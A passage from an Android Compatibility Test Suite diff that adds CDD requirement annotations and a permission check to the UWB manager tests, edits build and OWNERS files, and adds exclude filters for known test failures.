-471,9 +494,20 @@ public class UwbManagerTest { /* pass */ Log.i(TAG, "Failed with expected security exception: " + e); } + try { + uiAutomation.adoptShellPermissionIdentity(); + mUwbManager.unregisterUwbVendorUciCallback(cb); + /* pass */ + } catch (SecurityException e) { + /* fail */ + fail(); + } finally { + uiAutomation.dropShellPermissionIdentity(); + } } @Test + @CddTest(requirements = {"7.3.13/C-1-1,C-1-2"}) public void testInvalidCallbackUnregisterVendorUciCallback() { UwbManager.UwbVendorUciCallback cb = new UwbVendorUciCallback(new CountDownLatch(1), new CountDownLatch(1)); @@ -564,6 +598,7 @@ public class UwbManagerTest { } @Test + @CddTest(requirements = {"7.3.13/C-1-1,C-1-2"}) public void testOpenRangingSessionWithInvalidChipId() { UiAutomation uiAutomation = getInstrumentation().getUiAutomation(); CountDownLatch countDownLatch = new CountDownLatch(1); @@ -583,6 +618,7 @@ public class UwbManagerTest { } @Test + @CddTest(requirements = {"7.3.13/C-1-1,C-1-2"}) public void testOpenRangingSessionWithChipIdWithBadParams() throws Exception { UiAutomation uiAutomation = getInstrumentation().getUiAutomation(); CancellationSignal cancellationSignal = null; @@ -610,6 +646,7 @@ public class UwbManagerTest { } @Test + @CddTest(requirements = {"7.3.13/C-1-1,C-1-2"}) public void testOpenRangingSessionWithInvalidChipIdWithBadParams() throws Exception { UiAutomation uiAutomation = getInstrumentation().getUiAutomation(); CancellationSignal cancellationSignal = null; @@ -640,6 +677,7 @@ public class UwbManagerTest { * Simulates the app holding UWB_RANGING permission, but not UWB_PRIVILEGED. */ @Test + @CddTest(requirements = {"7.3.13/C-1-1,C-1-2"}) public void testOpenRangingSessionWithoutUwbPrivileged() { UiAutomation uiAutomation = getInstrumentation().getUiAutomation(); try { @@ -659,6 +697,7 @@ public class UwbManagerTest { } @Test + @CddTest(requirements = {"7.3.13/C-1-1,C-1-2"}) public void testOpenRangingSessionWithChipIdWithoutUwbPrivileged() { UiAutomation uiAutomation = getInstrumentation().getUiAutomation(); try { @@ -682,6 +721,7 @@ public class UwbManagerTest { * Simulates the app holding UWB_PRIVILEGED permission, but not UWB_RANGING. */ @Test + @CddTest(requirements = {"7.3.13/C-1-1,C-1-2"}) public void testOpenRangingSessionWithoutUwbRanging() { UiAutomation uiAutomation = getInstrumentation().getUiAutomation(); try { @@ -701,6 +741,7 @@ public class UwbManagerTest { } @Test + @CddTest(requirements = {"7.3.13/C-1-1,C-1-2"}) public void testOpenRangingSessionWithChipIdWithoutUwbRanging() { UiAutomation uiAutomation = getInstrumentation().getUiAutomation(); try { @@ -752,6 +793,7 @@ public class UwbManagerTest { * the proxied app not holding UWB_RANGING permission. */ @Test + @CddTest(requirements = {"7.3.13/C-1-1,C-1-2,C-1-5"}) public void testOpenRangingSessionWithoutUwbRangingInNextAttributeSource() { UiAutomation uiAutomation = getInstrumentation().getUiAutomation(); try { @@ -776,6 +818,7 @@ public class UwbManagerTest { } @Test + @CddTest(requirements = {"7.3.13/C-1-1,C-1-2,C-1-5"}) public void testOpenRangingSessionWithChipIdWithoutUwbRangingInNextAttributeSource() { UiAutomation uiAutomation = getInstrumentation().getUiAutomation(); try { @@ -801,6 +844,7 @@ public class UwbManagerTest { } @Test + @CddTest(requirements = {"7.3.13/C-1-1,C-1-2,C-1-5"}) public void testFiraRangingSession() throws Exception { UiAutomation uiAutomation = getInstrumentation().getUiAutomation(); CancellationSignal cancellationSignal = null; @@ -894,6 +938,7 @@ public class UwbManagerTest { } @Test + @CddTest(requirements = {"7.3.13/C-1-1,C-1-2,C-1-4"}) public void testUwbStateToggle() throws Exception { UiAutomation uiAutomation = getInstrumentation().getUiAutomation(); try { @@ -910,6 +955,7 @@ public class UwbManagerTest { } @Test + @CddTest(requirements = {"7.3.13/C-1-1,C-1-2"}) public void testSendVendorUciMessage() throws Exception { UiAutomation uiAutomation = getInstrumentation().getUiAutomation(); CountDownLatch rspCountDownLatch = new CountDownLatch(1); @@ -943,6 +989,7 @@ public class UwbManagerTest { } @Test + @CddTest(requirements = {"7.3.13/C-1-1,C-1-2"}) public void testSendVendorUciMessageWithFragmentedPackets() throws Exception { UiAutomation uiAutomation = getInstrumentation().getUiAutomation(); CountDownLatch rspCountDownLatch = new CountDownLatch(1); diff --git a/tools/cts-media-preparer-app/Android.bp b/tools/cts-media-preparer-app/Android.bp index cbad5684daa..7fe2a66ad1e 100644 --- a/tools/cts-media-preparer-app/Android.bp +++ b/tools/cts-media-preparer-app/Android.bp @@ -34,7 +34,7 @@ android_test { test_suites: [ "cts", "general-tests", - "mts", + "mts-media", ], sdk_version: "test_current", min_sdk_version: "29", diff --git a/tools/cts-media-preparer-app/src/android/mediastress/cts/preconditions/app/MediaPreparerAppTest.java b/tools/cts-media-preparer-app/src/android/mediastress/cts/preconditions/app/MediaPreparerAppTest.java index 0f4fd691170..7f80e5601e8 100644 --- a/tools/cts-media-preparer-app/src/android/mediastress/cts/preconditions/app/MediaPreparerAppTest.java +++ b/tools/cts-media-preparer-app/src/android/mediastress/cts/preconditions/app/MediaPreparerAppTest.java @@ -82,8 +82,12 @@ public class MediaPreparerAppTest { @Test public void testGetResolutions() throws Exception { + String moduleName = InstrumentationRegistry.getArguments().getString("module-name"); + if (moduleName == null) { + moduleName = MODULE_NAME; + } Resolution maxRes = new Resolution(DEFAULT_MAX_WIDTH, DEFAULT_MAX_HEIGHT); - DynamicConfigDeviceSide config = new DynamicConfigDeviceSide(MODULE_NAME); + DynamicConfigDeviceSide config = new DynamicConfigDeviceSide(moduleName); for (String key : config.keySet()) { int width = 0; int height = 0; diff --git a/tools/cts-tradefed/OWNERS b/tools/cts-tradefed/OWNERS index d27cf197c1d..9577d3af4d1 100644 --- a/tools/cts-tradefed/OWNERS +++ b/tools/cts-tradefed/OWNERS @@ -3,11 +3,6 @@ guangzhu@google.com normancheung@google.com jdesprez@google.com -# Android Partner Eng Approvers -aaronholden@google.com -yuji@google.com -nickrose@google.com - # File Specific Approvers per-file Backup* = file:platform/frameworks/base:/services/backup/OWNERS per-file cts-meerkat.xml = alanstokes@google.com, brufino@google.com, lus@google.com, rickywai@google.com diff --git a/tools/cts-tradefed/res/config/cts-known-failures.xml b/tools/cts-tradefed/res/config/cts-known-failures.xml index 83209926b35..8eac1edf571 100644 --- a/tools/cts-tradefed/res/config/cts-known-failures.xml +++ b/tools/cts-tradefed/res/config/cts-known-failures.xml @@ -127,6 +127,7 @@ <!-- b/38464828 --> <option name="compatibility:exclude-filter" value="CtsFileSystemTestCases android.filesystem.cts.AlmostFullTest" /> + <option name="compatibility:exclude-filter" value="CtsFileSystemTestCases[instant] android.filesystem.cts.AlmostFullTest" /> <!-- b/37271927 --> <option name="compatibility:exclude-filter" value="CtsViewTestCases android.view.cts.ViewTest#testUpdateDragShadow" /> @@ -281,4 +282,11 @@ <!-- b/208909067 --> <option name="compatibility:exclude-filter" value="CtsDisplayTestCases android.display.cts.DisplayTest#testActivityContextGetMetrics" /> + <!-- b/237035040 --> + <option name="compatibility:exclude-filter" value="CtsGraphicsTestCases android.graphics.cts.ImageDecoderTest#testDecode10BitHeifWithLowRam" /> + <option name="compatibility:exclude-filter" value="CtsGraphicsTestCases[instant] android.graphics.cts.ImageDecoderTest#testDecode10BitHeifWithLowRam" /> + + <!-- b/223402586 --> + <option name="compatibility:exclude-filter" value="CtsAppCompatHostTestCases com.android.cts.appcompat.CompatChangesValidConfigTest#testOnlyAllowedlistedChangesAreOverridable" /> + </configuration> diff --git a/tools/cts-tradefed/res/config/cts-on-gsi-exclude.xml b/tools/cts-tradefed/res/config/cts-on-gsi-exclude.xml index a6e59acd469..54d3f7e83f5 100644 --- a/tools/cts-tradefed/res/config/cts-on-gsi-exclude.xml +++ b/tools/cts-tradefed/res/config/cts-on-gsi-exclude.xml @@ -114,4 +114,11 @@ <!-- b/234409652 Stable API does not exist to enforce this requirement on variable geometry devices --> <option name="compatibility:exclude-filter" value="CtsCameraTestCases android.hardware.camera2.cts.ExtendedCameraCharacteristicsTest#testCameraOrientationAlignedWithDevice"/> + + <!-- b/235453601 --> + <option name="compatibility:exclude-filter" value="CtsMediaPerformanceClassTestCases android.mediapc.cts.MultiDecoderPerfTest" /> + + <!-- b/238155422 --> + <option name="compatibility:exclude-filter" value="CtsNetTestCases android.net.cts.ConnectivityManagerTest#testSetAirplaneMode" /> + </configuration> |